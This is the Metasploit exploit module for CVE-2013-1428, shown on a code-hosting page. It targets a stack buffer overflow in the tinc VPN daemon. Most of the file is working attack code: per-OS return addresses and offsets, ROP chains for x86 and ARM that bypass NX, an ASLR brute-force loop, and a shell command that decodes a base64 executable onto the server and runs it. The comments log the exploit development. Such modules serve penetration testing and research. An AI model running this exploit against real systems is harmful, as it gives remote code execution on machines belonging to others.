Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/vpn/tincd_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'securerandom'67class MetasploitModule < Msf::Exploit::Remote8Rank = AverageRanking910include Msf::Exploit::EXE11include Msf::Exploit::Remote::TincdExploitClient1213def initialize(info = {})14super(update_info(info,15'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Tinc's tincd18service. After authentication, a specially crafted tcp packet (default port 655)19leads to a buffer overflow and allows to execute arbitrary code. This module has20been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 721(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of22FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works23for all versions <= 1.1pre6.24A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to25be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd26was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module27it was recommended to the maintainer to start using DEP/ASLR and other protection28mechanisms.29},30'Author' =>31[32# PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module33'Tobias Ospelt', # @floyd_ch34# original finding, python PoC crash35'Martin Schobert' # @nitram234236],37'References' =>38[39['CVE', '2013-1428'],40['OSVDB', '92653'],41['BID', '59369'],42['URL', 'http://www.floyd.ch/?p=741'],43['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/']44],45'DefaultOptions' =>46{47'EXITFUNC' => 'process'48},49'Payload' =>50{51'Space' => 1675,52'DisableNops' => true53},54'Privileged' => true,55'Targets' =>56[57# full exploitation x86:58['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],59['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],60['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],61['Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {62'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 1676 }63],64['Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {65'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 1676 }66],67['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],68['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],69# full exploitation ARM:70['Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', {71'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 1668 }72],73['Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', {74'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 1668 }75],76# crash only:77['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],78['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],79['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],80['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]81],82'DisclosureDate' => '2013-04-22', # finding, msf module: Dec 201383'DefaultTarget' => 0))8485register_options(86[ # Only for shellcodes that write binary to disk87# Has to be short, usually either . or /tmp works88# /tmp could be mounted as noexec89# . is usually only working if tincd is running as root90OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),91OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),92OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])93], self94)95end9697def exploit98# #99# x86100# #101# WINDOWS XP and 7 full exploitation102# Simple, we only need some mona.py magic103# C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"104# !mona config -set workingfolder c:\logs\%p105# !mona pc 1682106# --> C:\logs\tincd\pattern107# !mona findmsp108# Straight forward, when we overwrite EIP the second value109# on the stack is pointing to our payload.110# !mona findwild -o -type instr -s "pop r32# ret"111112# FREEBSD full exploitation113# Same offset as windows, same exploitation method114# But we needed a new pop r32# ret for the freebsd version115# No mona.py help on bsd or linux so:116# - Dumped .text part of tincd binary in gdb117# - Search in hex editor for opcodes for "pop r32# ret":118# 58c3, 59c3, ..., 5fc3119# - Found a couple of 5dc3. ret = start of .text + offset in hex editor120# - 0x0804BABB works very well121122# UBUNTU crash only123# Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because124# the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known125# at compile time. gcc is introducing a call to __memcpy_chk:126# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c127# memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print128# *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed129# from the repository. It might be exploitable for versions compiled with an older version of gcc.130# memcpy_chk seems to be in gcc since 2005:131# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c132# http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088133134# OPENSUSE135# OpenSuse 11.2136# Installation as described on the tincd website. For 11.2 there are two versions.137# Decided for 1.0.16 as this is a vulnerable version138# wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm"139# rpm -i tinc-1.0.16-3.1.i586.rpm140# Again, strace shows us that the buffer overflow was detected (see Ubuntu)141# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51142# So a crash-only non-exploitable bof here. So let's go for manual install:143# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'144# yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install145# Exploitable. Let's see:146# tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means:147# the offset to pop ebp; ret is 0x0804b07f148149# FEDORA150# Fedora 16151# yum has version 1.0.19152# yum install tinc153# Non-exploitable crash, see Ubuntu. Strace tells us:154# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51155# About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23156# Manual compile went on with Fedora 19157# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'158# yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install159# Don't forget to stop firewalld for testing, as the port is still closed otherwise160# # hardening-check tincd161# tincd:162# Position Independent Executable: no, normal executable!163# Stack protected: no, not found!164# Fortify Source functions: no, only unprotected functions found!165# Read-only relocations: yes166# Immediate binding: no, not found!167# Running this module with target set to Windows:168# Program received signal SIGSEGV, Segmentation fault.169# 0x0041caa6 in ?? ()170# well and that's our windows offset...171# (gdb) info proc mappings172# 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd173# After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we174# can try to execute the payload on the stack, but:175# (gdb) stepi176# Program received signal SIGSEGV, Segmentation fault.177# 0x08e8ee08 in ?? ()178# Digging deeper we find:179# dmesg | grep protection180# [ 0.000000] NX (Execute Disable) protection: active181# or:182# # objdump -x /usr/local/sbin/tincd183# [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4184# filesz 0x00000000 memsz 0x00000000 flags rw-185# or: https://bugzilla.redhat.com/show_bug.cgi?id=996365186# Time for ROP187# To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode188# as a pointer to instructions). Was lucky after some searching:189# (gdb) x/10i 0x4d10ee87190# 0x4d10ee87: pop %ebx191# 0x4d10ee88: mov $0xf5d299dd,%eax192# 0x4d10ee8d: rcr %cl,%al193# 0x4d10ee8f: pop %esp194# 0x4d10ee90: ret195196# ARCHLINUX197# archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile:198# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'199# pacman -S gcc zlib lzo openssl make && ./configure && make && make install200# Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000201# -->Ret: 0x8065929202# No NX protection, it simply runs the shellcode :)203204# #205# ARM206# #207# ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi208# Although this is more for the interested reader, as Pidora development209# already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs210# meaning it's an ARMv6 architecture211# yum has fixed version 1.0.21, so went for manual compile:212# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'213# yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install214# Is the binary protected?215# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh216# # ./checksec.sh --file /usr/local/sbin/tincd217# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE218# No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd219# so again NX... but what about the system things?220# cat /proc/sys/kernel/randomize_va_space221# 2222# --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment.223# This is the default setting."224# Here some examples of the address of the system function:225# 0xb6c40848226# 0xb6cdd848227# 0xb6c7c848228# Looks like we would have to brute force one byte229# (gdb) info proc mappings230# 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd231# 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd232# When we exploit we get the following:233# Program received signal SIGSEGV, Segmentation fault.234# 0x90909090 in ?? ()235# ok, finally a different offset to eip. Let's figure it out:236# $ tools/pattern_create.rb 1676237# Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get:238# (gdb) break *0x9000239# Breakpoint 1 at 0x9000240# See that our shellcode is *on* the stack:241# (gdb) x/10x $sp242# 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698243# 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode244# 0xbee14328: 0xe3a02006 0xe3a07001245# let's explore the code we can reuse:246# (gdb) info functions247# objdump -d /usr/local/sbin/tincd >assembly.txt248# while simply searching for the bx instruction we were not very lucky,249# but searching for some "pop pc" it's easy to find nice gadgets.250# we can write arguments to the .data section again:251# 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS252# The problem is we can not reliably forecast the system function's address, but it's253# only one byte random, therefore we have to brute force it and/or find a memory leak.254# Let's assume it's a restarting daemon:255# create /etc/systemd/system/tincd.service and fill in Restart=restart-always256257# ARM Debian Wheezy on qemu258# root@debian:~# apt-cache showpkg tinc259# Package: tinc260# Versions:261# 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages)262# nice, that's vulnerable263# apt-get install tinc264# apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf265# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh266# # ./checksec.sh --file /usr/sbin/tincd267# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE268# Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd269# Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here270271packet_payload = payload.encoded272# Pidora and Fedora/ROP specific things273if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/274rop_generator = nil275filename = rand_text_alpha(1)276cd = "cd #{datastore['BINARY_DROP_LOCATION']};"277cd = '' if datastore['BINARY_DROP_LOCATION'] == '.'278279if target.name =~ /Pidora 18/280print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18')281print_status('This requires a restarting tincd daemon!')282print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore')283rop_generator = method(:create_pidora_rop)284elsif target.name =~ /Fedora 19/285print_status('Using ROP to defeat NX on Fedora 19')286rop_generator = method(:create_fedora_rop)287end288289if target.arch.include? ARCH_CMD290# The CMD payloads are a bit tricky on Fedora. As of december 2013291# some of the generic unix payloads (e.g. reverse shell with awk) don't work292# (even when executed directly in a terminal on Fedora)293# use generic/custom and specify PAYLOADSTR without single quotes294# it's usually sh -c *bla*295packet_payload = create_fedora_rop(payload.encoded.split(' ', 3))296else297# the binary drop payloads298packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator)299if packet_payload.length > target['offset']300print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version")301packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)302vprint_status("Achieved version with #{packet_payload.length} bytes")303end304end305end306307if packet_payload.length > target['offset']308fail_with(Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")309end310injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')311312vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")313314if target.name =~ /Pidora 18/315# we have to brute force to defeat ASLR316datastore['BRUTEFORCE_TRIES'].times do317print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)")318setup_ciphers319print_status('Telling tinc exploit client to connect, handshake and send the payload')320begin321send_recv(injection)322rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error323print_error(runtime_error.message)324print_error(runtime_error.backtrace.join("\n\t"))325rescue Rex::ConnectionRefused326print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')327sleep(3)328next329end330secs = datastore['WAIT']331print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")332sleep(secs)333end334print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")335else336# Setup local ciphers337print_status('Initializing tinc exploit client (setting up ciphers)')338setup_ciphers339# The tincdExploitClient will do the crypto handshake with the server and340# send the injection (a packet), where the actual buffer overflow is triggered341print_status('Telling tinc exploit client to connect, handshake and send the payload')342send_recv(injection)343end344print_status('Exploit finished')345end346347def get_cmd_binary_drop_payload(filename, cd, rop_generator)348elf_base64 = Rex::Text.encode_base64(generate_payload_exe)349cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"]350vprint_status("You will try to execute #{cmd.join(' ')}")351rop_generator.call(cmd)352end353354def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)355elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe))356cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"]357vprint_status("You will try to execute #{cmd.join(' ')}")358rop_generator.call(cmd)359end360361def create_pidora_rop(sys_execv_args)362sys_execv_args = sys_execv_args.join(' ')363sys_execv_args += "\x00"364365aslr_byte_guess = SecureRandom.random_bytes(1).ord366print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)")367368# Gadgets tincd369# c714: e1a00004 mov r0, r4370# c718: e8bd8010 pop {r4, pc}371mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V')372pop_r4_ret = [0x0000c718].pack('V')373# 1cef4: e580400c str r4, [r0, #12]374# 1cef8: e8bd8010 pop {r4, pc}375# mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V')376377# bba0: e5843000 str r3, [r4]378# bba4: e8bd8010 pop {r4, pc}379mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V')380381# 13ccc: e1a00003 mov r0, r3382# 13cd0: e8bd8008 pop {r3, pc}383pop_r3_ret = [0x00013cd0].pack('V')384385# address to start rop (removing 6 addresses of garbage from stack)386# 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc}387# start_rop = [0x00015cb4].pack('V')388# see target Ret389390# system function address base to brute force391# roughly 500 tests showed addresses between392# 0xb6c18848 and 0xb6d17848 (0xff distance)393system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V')394395# pointer into .data section396loc_dot_data = 0x0002b3f0 # a location inside .data397398# Rop into system(), prepare address of payload in r0399rop = ''400401# first, let's put the payload into the .data section402403# Put the first location to write to in r4404rop += pop_r4_ret405406sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i|407# Give location inside .data via stack408rop += [loc_dot_data + i * 4].pack('V')409# Pop 4 bytes of the command into r3410rop += pop_r3_ret411# Give 4 bytes of command on stack412if argument_part.length == 4413rop += argument_part414else415rop += argument_part + rand_text_alpha(4 - argument_part.length)416end417# Write the 4 bytes to the writable location418rop += mov_to_r4_addr_pop_r4_ret419end420421# put the address of the payload into r4422rop += [loc_dot_data].pack('V')423424# now move r4 to r0425rop += mov_r0_r4_pop_r4_ret426rop += rand_text_alpha(4)427# we don't care what ends up in r4 now428429# call system430rop += system_addr431end432433def create_fedora_rop(sys_execv_args)434# Gadgets tincd435loc_dot_data = 0x80692e0 # a location inside .data436pop_eax = [0x8065969].pack('V') # pop eax; ret437pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret438pop_ecx = [0x804e113].pack('V') # pop ecx; ret439xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret440# <ATTENTION> This one destroys ebx:441mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret442# </ATTENTION>443444# Gadgets libcrypto.so.10 libcrypto.so.1.0.1e445xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret446# xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret447# inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret448449# Gadgets libc.so.6 libc-2.17.so450pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret451int_80 = [0x4b6049c5].pack('V') # int 0x80452453# Linux kernel system call 11: sys_execve454# ROP455rop = ''456457index = 0458stored_argument_pointer_offsets = []459460sys_execv_args.each_with_index do |argument, argument_no|461stored_argument_pointer_offsets << index462argument.scan(/.{1,4}/).each_with_index do |argument_part, i|463# Put location to write to in eax464rop += pop_eax465# Give location inside .data via stack466rop += [loc_dot_data + index + i * 4].pack('V')467# Pop 4 bytes of the command into ecx468rop += pop_ecx469# Give 4 bytes of command on stack470if argument_part.length == 4471rop += argument_part472else473rop += argument_part + rand_text_alpha(4 - argument_part.length)474end475# Write the 4 bytes to the writable location476rop += mov_to_eax_addr477end478# We have to end the argument with a zero byte479index += argument.length480# We don't have "xor ecx, ecx", but we have it for eax...481rop += xor_eax_eax482rop += xchg_ecx_eax483# Put location to write to in eax484rop += pop_eax485# Give location inside .data via stack486rop += [loc_dot_data + index].pack('V')487# Write the zeros488rop += mov_to_eax_addr489index += 1 # where we can write the next argument490end491492# Append address of the start of each argument493stored_argument_pointer_offsets.each do |offset|494rop += pop_eax495rop += [loc_dot_data + index].pack('V')496rop += pop_ecx497rop += [loc_dot_data + offset].pack('V')498rop += mov_to_eax_addr499index += 4500end501# end with zero502rop += xor_eax_eax503rop += xchg_ecx_eax504505rop += pop_eax506rop += [loc_dot_data + index].pack('V')507rop += mov_to_eax_addr508509rop += pop_ebx510rop += [loc_dot_data].pack('V')511512rop += pop_ecx513rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V')514515rop += pop_edx516rop += [loc_dot_data + index].pack('V')517518# sys call 11 = sys_execve519rop += pop_eax520rop += [0x0000000b].pack('V')521522rop += int_80523end524end525526527